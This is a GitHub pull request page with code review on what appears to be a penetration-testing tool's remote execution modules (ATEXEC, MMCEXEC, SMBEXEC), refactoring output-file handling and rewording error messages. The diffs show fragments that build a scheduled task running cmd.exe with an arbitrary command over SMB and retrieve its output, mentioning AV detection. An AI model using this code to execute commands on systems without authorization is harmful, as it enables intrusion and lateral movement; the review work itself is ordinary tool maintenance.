-
Notifications
You must be signed in to change notification settings - Fork 373
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Make some text more precise #7
Changes from 8 commits
0e528ae
2400bc6
4a739a0
2119d37
95ac793
fe517be
ba51e30
47199d6
473c4b1
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -38,6 +38,8 @@ def __init__( | |
self.__doKerberos = doKerberos | ||
self.__kdcHost = kdcHost | ||
self.__tries = tries | ||
self.__output = None | ||
self.__share = share | ||
self.logger = logger | ||
|
||
if hashes is not None: | ||
|
@@ -73,7 +75,7 @@ def execute(self, command, output=False): | |
def output_callback(self, data): | ||
self.__outputBuffer = data | ||
|
||
def gen_xml(self, command, tmpFileName, fileless=False): | ||
def gen_xml(self, command, fileless=False): | ||
xml = """<?xml version="1.0" encoding="UTF-16"?> | ||
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"> | ||
<Triggers> | ||
|
@@ -114,11 +116,12 @@ def gen_xml(self, command, tmpFileName, fileless=False): | |
<Command>cmd.exe</Command> | ||
""" | ||
if self.__retOutput: | ||
self.__output = "\\Windows\\Temp\\" + gen_random_string(6) | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Would we want the folder to be a variable, so users can pass in their own temp location? There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. I think this would be another feature. Probably great to add but should be done seperatly imo There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more.
Yes, as @NeffIsBack said, this is another feature |
||
if fileless: | ||
local_ip = self.__rpctransport.get_socket().getsockname()[0] | ||
argument_xml = f" <Arguments>/C {command} > \\\\{local_ip}\\{self.__share_name}\\{tmpFileName} 2>&1</Arguments>" | ||
argument_xml = f" <Arguments>/C {command} > \\\\{local_ip}\\{self.__share_name}\\{self.__output} 2>&1</Arguments>" | ||
else: | ||
argument_xml = f" <Arguments>/C {command} > %windir%\\Temp\\{tmpFileName} 2>&1</Arguments>" | ||
argument_xml = f" <Arguments>/C {command} > {self.__output} 2>&1</Arguments>" | ||
|
||
elif self.__retOutput is False: | ||
argument_xml = f" <Arguments>/C {command}</Arguments>" | ||
|
@@ -143,9 +146,8 @@ def execute_handler(self, command, fileless=False): | |
# dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY) | ||
|
||
tmpName = gen_random_string(8) | ||
tmpFileName = tmpName + ".tmp" | ||
|
||
xml = self.gen_xml(command, tmpFileName, fileless) | ||
xml = self.gen_xml(command, fileless) | ||
|
||
self.logger.info(f"Task XML: {xml}") | ||
taskCreated = False | ||
|
@@ -187,7 +189,7 @@ def execute_handler(self, command, fileless=False): | |
if fileless: | ||
while True: | ||
try: | ||
with open(os.path.join("/tmp", "cme_hosted", tmpFileName), "r") as output: | ||
with open(os.path.join("/tmp", "cme_hosted", self.__output), "r") as output: | ||
self.output_callback(output.read()) | ||
break | ||
except IOError: | ||
|
@@ -198,15 +200,15 @@ def execute_handler(self, command, fileless=False): | |
tries = 1 | ||
while True: | ||
try: | ||
self.logger.info(f"Attempting to read ADMIN$\\Temp\\{tmpFileName}") | ||
smbConnection.getFile("ADMIN$", f"Temp\\{tmpFileName}", self.output_callback) | ||
self.logger.info(f"Attempting to read {self.__share}\\{self.__output}") | ||
smbConnection.getFile(self.__share, self.__output, self.output_callback) | ||
break | ||
except Exception as e: | ||
if tries >= self.__tries: | ||
self.logger.fail(f'ATEXEC: Get output file error, maybe got detected by AV software, please increase the number of tries with the option "--get-output-tries". If it\'s still failing maybe something is blocking the schedule job, try another exec method') | ||
self.logger.fail(f"ATEXEC: Couldn't retrieve output file, maybe got detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it's still failing, try the wmi protocol or another exec method") | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. ATEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method |
||
break | ||
if str(e).find("STATUS_BAD_NETWORK_NAME") >0 : | ||
self.logger.fail(f'ATEXEC: Get ouput failed, target has blocked ADMIN$ access (maybe command executed!)') | ||
self.logger.fail(f"ATEXEC: Get output failed, target has blocked {self.__share} access (maybe command executed!)") | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. ATEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!) |
||
break | ||
if str(e).find("SHARING") > 0 or str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") >= 0: | ||
sleep(3) | ||
|
@@ -215,7 +217,7 @@ def execute_handler(self, command, fileless=False): | |
self.logger.debug(str(e)) | ||
|
||
if self.__outputBuffer: | ||
self.logger.debug(f"Deleting file ADMIN$\\Temp\\{tmpFileName}") | ||
smbConnection.deleteFile("ADMIN$", f"Temp\\{tmpFileName}") | ||
self.logger.debug(f"Deleting file {self.__share}\\{self.__output}") | ||
smbConnection.deleteFile(self.__share, self.__output) | ||
|
||
dce.disconnect() |
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -252,10 +252,10 @@ def get_output_remote(self): | |
break | ||
except Exception as e: | ||
if tries >= self.__tries: | ||
self.logger.fail(f'MMCEXEC: Get output file error, maybe got detected by AV software, please increase the number of tries with the option "--get-output-tries". If it\'s still failing maybe something is blocking the schedule job, try another exec method') | ||
self.logger.fail(f"MMCEXEC: Couldn't retrieve output file, maybe got detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it's still failing, try the wmi protocol or another exec method") | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. MMCEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method |
||
break | ||
if str(e).find("STATUS_BAD_NETWORK_NAME") >0 : | ||
self.logger.fail(f'MMCEXEC: Get ouput failed, target has blocked {self.__share} access (maybe command executed!)') | ||
self.logger.fail(f"MMCEXEC: Get output failed, target has blocked {self.__share} access (maybe command executed!)") | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. MMCEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!) |
||
break | ||
if str(e).find("STATUS_SHARING_VIOLATION") >= 0 or str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") >= 0: | ||
# Output not finished, let's wait | ||
|
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -170,10 +170,10 @@ def get_output_remote(self): | |
break | ||
except Exception as e: | ||
if tries >= self.__tries: | ||
self.logger.fail(f'SMBEXEC: Get output file error, maybe got detected by AV software, please increase the number of tries with the option "--get-output-tries". If it\'s still failing maybe something is blocking the schedule job, try another exec method') | ||
self.logger.fail(f"SMBEXEC: Couldn't retrieve output file, maybe got detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it's still failing, try the wmi protocol or another exec method") | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. SMBEXEC: Could not retrieve output file, it may have been detected by AV. Please increase the number of tries with the option '--get-output-tries'. If it is still failing, try the 'wmi' protocol or another exec method |
||
break | ||
if str(e).find("STATUS_BAD_NETWORK_NAME") >0 : | ||
self.logger.fail(f'SMBEXEC: Get ouput failed, target has blocked {self.__share} access (maybe command executed!)') | ||
self.logger.fail(f"SMBEXEC: Get output failed, target has blocked {self.__share} access (maybe command executed!)") | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. SMBEXEC: Getting the output file failed - target has blocked access to the share: {self.__share} (but the command may have executed!) |
||
break | ||
if str(e).find("STATUS_SHARING_VIOLATION") >= 0 or str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") >= 0: | ||
# Output not finished, let's wait | ||
|
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Should probably rename this "__output_filename"